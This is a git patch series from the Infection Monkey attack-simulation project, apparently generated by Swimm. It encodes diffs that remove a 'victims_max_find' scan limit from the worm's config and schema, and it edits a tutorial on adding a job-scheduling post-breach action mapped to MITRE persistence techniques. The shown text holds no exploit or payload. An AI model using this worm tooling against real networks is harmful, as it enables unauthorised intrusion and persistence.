"JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xMzElMkM5JTIwJTJCMTMxJTJDNiUyMCU0MCU0MCUyMGNsYXNzJTIwQ29uZmlndXJhdGlvbihvYmplY3QpJTNBJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMGV4cGxvaXRlcl9jbGFzc2VzJTIwJTNEJTIwJTVCJTVEJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTMxJTJDJTIyYiUyMiUzQTEzMSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMHN5c3RlbV9pbmZvX2NvbGxlY3Rvcl9jbGFzc2VzJTIwJTNEJTIwJTVCJTVEJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTMyJTJDJTIyYiUyMiUzQTEzMiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEzMyUyQyUyMmIlMjIlM0ExMzMlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIzJTIwaG93JTIwbWFueSUyMHZpY3RpbXMlMjB0byUyMGxvb2slMjBmb3IlMjBpbiUyMGElMjBzaW5nbGUlMjBzY2FuJTIwaXRlcmF0aW9uJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTM0JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMHZpY3RpbXNfbWF4X2ZpbmQlMjAlM0QlMjAxMDAlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMzUlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTM2JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIzJTIwaG93JTIwbWFueSUyMHZpY3RpbXMlMjB0byUyMGV4cGxvaXQlMjBiZWZvcmUlMjBzdG9wcGluZyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEzNyUyQyUyMmIlMjIlM0ExMzQlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjB2aWN0aW1zX21heF9leHBsb2l0JTIwJTNEJTIwMTAwJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTM4JTJDJTIyYiUyMiUzQTEzNSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEzOSUyQyUyMmIlMjIlM0ExMzYlN0QlN0QlNUQlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExMzElMkMlMjJsaW5lc0NvdW50JTIyJTNBOSU3RCUyQyUyMmIlMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExMzElMkMlMjJsaW5lc0NvdW50JTIyJTNBNiU3RCU3RCU3RCU3RA==" + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py\nindex 1fbcb876..67ed19de 100644\n--- a/monkey/infection_monkey/config.py\n+++ b/monkey/infection_monkey/config.py", + "hunks": [ + { + "swimmHunkMetadata": { + "hunkComments": [] + }, + "hunkDiffLines": [ + "@@ -131,8 +131,6 @@", + " exploiter_classes = []\r", + " system_info_collector_classes = []\r", + " \r", + "- # how many victims to look for in a single scan iteration\r", + "- victims_max_find = 100\r", + " \r", + " # how many victims to exploit before stopping\r", + " victims_max_exploit = 100\r" + ] + } ] }, "monkey/infection_monkey/monkey.py": { - "index": [ - "444bde45..ff23f671", - "100644" - ], - "fileA": "monkey/infection_monkey/monkey.py", - "fileB": "monkey/infection_monkey/monkey.py", - "status": "MODIFIED", - "numLineDeletions": 1, - "numLineAdditions": 1, - "hunkContainers": [ - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xNTglMkM3JTIwJTJCMTU4JTJDNyUyMCU0MCU0MCUyMGNsYXNzJTIwSW5mZWN0aW9uTW9ua2V5KG9iamVjdCklM0ElMjIlMkMlMjJjaGFuZ2VzJTIyJTNBJTVCJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwaWYlMjBub3QlMjBzZWxmLl9rZWVwX3J1bm5pbmclMjBvciUyMG5vdCUyMFdvcm1Db25maWd1cmF0aW9uLmFsaXZlJTNBJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTU4JTJDJTIyYiUyMiUzQTE1OCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGJyZWFrJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTU5JTJDJTIyYiUyMiUzQTE1OSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTE2MCUyQyUyMmIlMjIlM0ExNjAlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbWFjaGluZXMlMjAlM0QlMjBzZWxmLl9uZXR3b3JrLmdldF92aWN0aW1fbWFjaGluZXMobWF4X2ZpbmQlM0RXb3JtQ29uZmlndXJhdGlvbi52aWN0aW1zX21heF9maW5kJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTYxJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmFkZCUyMiUyQyUyMm1hcmslMjIlM0ElMjIlMkIlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbWFjaGluZXMlMjAlM0QlMjBzZWxmLl9uZXR3b3JrLmdldF92aWN0aW1fbWFjaGluZXMobWF4X2ZpbmQlM0QxMDAlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmIlMjIlM0ExNjElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBzdG9wX2NhbGxiYWNrJTNEQ29udHJvbENsaWVudC5jaGVja19mb3Jfc3RvcCklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNjIlMkMlMjJiJTIyJTNBMTYyJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwaXNfZW1wdHklMjAlM0QlMjBUcnVlJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTYzJTJDJTIyYiUyMiUzQTE2MyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGZvciUyMG1hY2hpbmUlMjBpbiUyMG1hY2hpbmVzJTNBJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTY0JTJDJTIyYiUyMiUzQTE2NCU3RCU3RCU1RCUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTE1OCUyQyUyMmxpbmVzQ291bnQlMjIlM0E3JTdEJTJDJTIyYiUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTE1OCUyQyUyMmxpbmVzQ291bnQlMjIlM0E3JTdEJTdEJTdEJTdE" + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py\nindex 444bde45..ff23f671 100644\n--- a/monkey/infection_monkey/monkey.py\n+++ b/monkey/infection_monkey/monkey.py", + "hunks": [ + { + "swimmHunkMetadata": { + "hunkComments": [] + }, + "hunkDiffLines": [ + "@@ -159,8 +159,6 @@", + " if not self._keep_running or not WormConfiguration.alive:\r", + " break\r", + " \r", + "- machines = self._network.get_victim_machines(max_find=WormConfiguration.victims_max_find,\r", + "- stop_callback=ControlClient.check_for_stop)\r", + " is_empty = True\r", + " for machine in machines:\r", + " if ControlClient.check_for_stop():\r" + ] + } ] }, "monkey/monkey_island/cc/services/config_schema/internal.py": { - "index": [ - "bdbae246..d6042d35", - "100644" - ], - "fileA": "monkey/monkey_island/cc/services/config_schema/internal.py", - "fileB": "monkey/monkey_island/cc/services/config_schema/internal.py", - "status": "MODIFIED", - "numLineDeletions": 6, - "numLineAdditions": 0, - "hunkContainers": [ - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC00MCUyQzEyJTIwJTJCNDAlMkM2JTIwJTQwJTQwJTIwSU5URVJOQUwlMjAlM0QlMjAlN0IlMjIlMkMlMjJjaGFuZ2VzJTIyJTNBJTVCJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIydGl0bGUlNUMlMjIlM0ElMjAlNUMlMjJNb25rZXklNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0MCUyQyUyMmIlMjIlM0E0MCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnR5cGUlNUMlMjIlM0ElMjAlNUMlMjJvYmplY3QlNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0MSUyQyUyMmIlMjIlM0E0MSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnByb3BlcnRpZXMlNUMlMjIlM0ElMjAlN0IlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0MiUyQyUyMmIlMjIlM0E0MiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJ2aWN0aW1zX21heF9maW5kJTVDJTIyJTNBJTIwJTdCJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNDMlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIydGl0bGUlNUMlMjIlM0ElMjAlNUMlMjJNYXglMjB2aWN0aW1zJTIwdG8lMjBmaW5kJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNDQlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIydHlwZSU1QyUyMiUzQSUyMCU1QyUyMmludGVnZXIlNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0NSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJkZWZhdWx0JTVDJTIyJTNBJTIwMTAwJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNDYlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIyZGVzY3JpcHRpb24lNUMlMjIlM0ElMjAlNUMlMjJEZXRlcm1pbmVzJTIwdGhlJTIwbWF4aW11bSUyMG51bWJlciUyMG9mJTIwbWFjaGluZXMlMjB0aGUlMjBtb25rZXklMjBpcyUyMGFsbG93ZWQlMjB0byUyMHNjYW4lNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0NyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0OCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnZpY3RpbXNfbWF4X2V4cGxvaXQlNUMlMjIlM0ElMjAlN0IlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0OSUyQyUyMmIlMjIlM0E0MyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnRpdGxlJTVDJTIyJTNBJTIwJTVDJTIyTWF4JTIwdmljdGltcyUyMHRvJTIwZXhwbG9pdCU1QyUyMiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTUwJTJDJTIyYiUyMiUzQTQ0JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIydHlwZSU1QyUyMiUzQSUyMCU1QyUyMmludGVnZXIlNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E1MSUyQyUyMmIlMjIlM0E0NSU3RCU3RCU1RCUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTQwJTJDJTIybGluZXNDb3VudCUyMiUzQTEyJTdEJTJDJTIyYiUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTQwJTJDJTIybGluZXNDb3VudCUyMiUzQTYlN0QlN0QlN0QlN0Q=" + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py\nindex bdbae246..d6042d35 100644\n--- a/monkey/monkey_island/cc/services/config_schema/internal.py\n+++ b/monkey/monkey_island/cc/services/config_schema/internal.py", + "hunks": [ + { + "swimmHunkMetadata": { + "hunkComments": [] + }, + "hunkDiffLines": [ + "@@ -40,12 +40,6 @@", + " \"title\": \"Monkey\",\r", + " \"type\": \"object\",\r", + " \"properties\": {\r", + "- \"victims_max_find\": {\r", + "- \"title\": \"Max victims to find\",\r", + "- \"type\": \"integer\",\r", + "- \"default\": 100,\r", + "- \"description\": \"Determines the maximum number of machines the monkey is allowed to scan\"\r", + "- },\r", + " \"victims_max_exploit\": {\r", + " \"title\": \"Max victims to exploit\",\r", + " \"type\": \"integer\",\r" + ] + } ] } }, - "app_version": "0.1.80", - "file_version": "1.0.2" + "app_version": "0.3.5-1", + "file_version": "1.0.4", + "last_commit_sha_for_swimm_patch": "17ee823b086f0b027612e2d1864930d2c5593c3e" } \ No newline at end of file From 3daedd7a41b97f8395f382cf9f639e779fb451ce Mon Sep 17 00:00:00 2001 From: Swimm Date: Thu, 28 Jan 2021 19:26:08 +0200 Subject: [PATCH 207/466] Swimm: update unit Add details about your new PBA (id: JFXftJml8DpmuCPBA9rL). --- .swm/JFXftJml8DpmuCPBA9rL.swm | 55 +++++++++++++++++++++++------------ 1 file changed, 37 insertions(+), 18 deletions(-) diff --git a/.swm/JFXftJml8DpmuCPBA9rL.swm b/.swm/JFXftJml8DpmuCPBA9rL.swm index 7c186126e..154c473bd 100644 --- a/.swm/JFXftJml8DpmuCPBA9rL.swm +++ b/.swm/JFXftJml8DpmuCPBA9rL.swm @@ -1,30 +1,49 @@ { "id": "JFXftJml8DpmuCPBA9rL", "name": "Add details about your new PBA", - "dod": "WW91JTIwc2hvdWxkJTIwYWRkJTIweW91ciUyMG5ldyUyMFBCQSdzJTIwZGV0YWlscyUyMHRvJTIwdGhlJTIwY29uZmlndXJhdGlvbi4=", - "description": "SW4lMjBvcmRlciUyMHRvJTIwbWFrZSUyMHN1cmUlMjB0aGF0JTIwdGhlJTIwbmV3JTIwJTYwU2NoZWR1bGVKb2JzJTYwJTIwUEJBJTIwaXMlMjBzaG93biUyMGluJTIwdGhlJTIwY29uZmlndXJhdGlvbiUyMG9uJTIwdGhlJTIwTW9ua2V5JTIwSXNsYW5kJTJDJTIweW91JTIwbmVlZCUyMHRvJTIwYWRkJTIwaXRzJTIwZGV0YWlscyUyMHRvJTIwdGhlJTIwY29uZmlndXJhdGlvbiUyMGZpbGUocykuJTIwJTNDYnIlM0UlM0NiciUzRSUwQSUwQVNpbmNlJTIwdGhpcyUyMHBhcnRpY3VsYXIlMjBQQkElMjBpcyUyMHJlbGF0ZWQlMjB0byUyMHRoZSUyME1JVFJFJTIwdGVjaG5pcXVlcyUyMCU1QlQxMTY4JTVEKGh0dHBzJTNBJTJGJTJGYXR0YWNrLm1pdHJlLm9yZyUyRnRlY2huaXF1ZXMlMkZUMTE2OCklMjBhbmQlMjAlNUJUMTA1MyU1RChodHRwcyUzQSUyRiUyRmF0dGFjay5taXRyZS5vcmclMkZ0ZWNobmlxdWVzJTJGVDEwNTMpJTJDJTIwbWFrZSUyMHN1cmUlMjB0byUyMGxpbmslMjB0aGUlMjBQQkElMjB3aXRoJTIwdGhlc2UlMjB0ZWNobmlxdWVzJTIwaW4lMjB0aGUlMjBjb25maWd1cmF0aW9uJTIwYXMlMjB3ZWxsLiUyMCUzQ2JyJTNFJTNDYnIlM0UlMEElMEFFYWNoJTIwcGFydCUyMG9mJTIwdGhlJTIwY29uZmlndXJhdGlvbiUyMGhhcyUyMGFuJTIwaW1wb3J0YW50JTIwcm9sZSUyMCUyMCUwQS0lMjAqZW51bSolMjAlRTIlODAlOTQlMjBjb250YWlucyUyMHRoZSUyMHJlbGV2YW50JTIwUEJBJ3MlMjBjbGFzcyUyMG5hbWUocyklMEEtJTIwKnRpdGxlKiUyMCVFMiU4MCU5NCUyMGhvbGRzJTIwdGhlJTIwbmFtZSUyMG9mJTIwdGhlJTIwUEJBJTIwd2hpY2glMjBpcyUyMGRpc3BsYXllZCUyMGluJTIwdGhlJTIwY29uZmlndXJhdGlvbiUyMG9uJTIwdGhlJTIwTW9ua2V5JTIwSXNsYW5kJTBBLSUyMCppbmZvKiUyMCVFMiU4MCU5NCUyMGNvbnNpc3RzJTIwb2YlMjBhbiUyMGVsYWJvcmF0aW9uJTIwb24lMjB0aGUlMjBQQkEncyUyMHdvcmtpbmclMjB3aGljaCUyMGlzJTIwZGlzcGxheWVkJTIwaW4lMjB0aGUlMjBjb25maWd1cmF0aW9uJTIwb24lMjB0aGUlMjBNb25rZXklMjBJc2xhbmQlMEEtJTIwKmF0dGFja190ZWNobmlxdWVzKiUyMCVFMiU4MCU5NCUyMGhhcyUyMHRoZSUyMElEcyUyMG9mJTIwdGhlJTIwTUlUUkUlMjB0ZWNobmlxdWVzJTIwYXNzb2NpYXRlZCUyMHdpdGglMjB0aGUlMjBQQkElMEElMEElMjMlMjMlMjBNYW51YWwlMjB0ZXN0JTIwJTIwJTBBT25jZSUyMHlvdSUyMHRoaW5rJTIweW91J3JlJTIwZG9uZS4uLiUwQS0lMjBSdW4lMjB0aGUlMjBNb25rZXklMjBJc2xhbmQlMEEtJTIwWW91JTIwc2hvdWxkJTIwYmUlMjBhYmxlJTIwdG8lMjBzZWUlMjB5b3VyJTIwbmV3JTIwUEJBJTIwdW5kZXIlMjB0aGUlMjAlMjJNb25rZXklMjIlMjB0YWIlMjBpbiUyMHRoZSUyMGNvbmZpZ3VyYXRpb24lMkMlMjBhbG9uZyUyMHdpdGglMjBpdHMlMjBpbmZvcm1hdGlvbiUyMHdoZW4lMjB5b3UlMjBjbGljayUyMG9uJTIwaXQlMEEtJTIwRnVydGhlciUyQyUyMHdoZW4lMjB5b3UlMjBlbmFibGUlMkZkaXNhYmxlJTIwdGhlJTIwYXNzb2NpYXRlZCUyME1JVFJFJTIwdGVjaG5pcXVlcyUyMHVuZGVyJTIwdGhlJTIwQVRUJTI2Q0slMjB0YWIlMjBpbiUyMHRoZSUyMGNvbmZpZ3VyYXRpb24lMkMlMjB0aGUlMjBQQkElMjBzaG91bGQlMjBhbHNvJTIwYmUlMjBlbmFibGVkJTJGZGlzYWJsZWQlMEElMEElM0NpbWclMjBzcmMlM0QlMjJodHRwcyUzQSUyRiUyRmkuaW1ndXIuY29tJTJGYTVWU2tMNS5naWYlMjIlMjBoZWlnaHQlM0Q0MDAlM0U=", - "summary": "LSUyMFRoZSUyMFBCQSUyMGRldGFpbHMlMjBpbiUyMHRoaXMlMjBmaWxlJTIwYXJlJTIwcmVmbGVjdGVkJTIwb24lMjB0aGUlMjBNb25rZXklMjBJc2xhbmQlMjBpbiUyMHRoZSUyMFBCQSUyMGNvbmZpZ3VyYXRpb24uJTBBLSUyMFBCQXMlMjBhcmUlMjBhbHNvJTIwbGlua2VkJTIwdG8lMjB0aGUlMjByZWxldmFudCUyME1JVFJFJTIwdGVjaG5pcXVlcyUyMGluJTIwdGhpcyUyMGZpbGUlMkMlMjB3aG9zZSUyMHJlc3VsdHMlMjBjYW4lMjB0aGVuJTIwYmUlMjBzZWVuJTIwaW4lMjB0aGUlMjBNSVRSRSUyMEFUVCUyNkNLJTIwcmVwb3J0JTIwb24lMjB0aGUlMjBNb25rZXklMjBJc2xhbmQu", - "diff": "ZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGY29uZmlnX3NjaGVtYSUyRmRlZmluaXRpb25zJTJGcG9zdF9icmVhY2hfYWN0aW9ucy5weSUyMGIlMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnBvc3RfYnJlYWNoX2FjdGlvbnMucHklMEFpbmRleCUyMGYxZmUwZjZmLi5jY2UzN2IyNCUyMDEwMDY0NCUwQS0tLSUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnBvc3RfYnJlYWNoX2FjdGlvbnMucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGZGVmaW5pdGlvbnMlMkZwb3N0X2JyZWFjaF9hY3Rpb25zLnB5JTBBJTQwJTQwJTIwLTYyJTJDMTUlMjAlMkI2MiUyQzclMjAlNDAlNDAlMjBQT1NUX0JSRUFDSF9BQ1RJT05TJTIwJTNEJTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyUmVtb3ZlcyUyMHRoZSUyMGZpbGUlMjBhZnRlcndhcmRzLiUyMiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMmF0dGFja190ZWNobmlxdWVzJTIyJTNBJTIwJTVCJTIyVDExNjYlMjIlNUQlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdCJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnR5cGUlMjIlM0ElMjAlMjJzdHJpbmclMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyZW51bSUyMiUzQSUyMCU1QiUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJTY2hlZHVsZUpvYnMlMjIlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVEJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnRpdGxlJTIyJTNBJTIwJTIySm9iJTIwc2NoZWR1bGluZyUyMiUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJpbmZvJTIyJTNB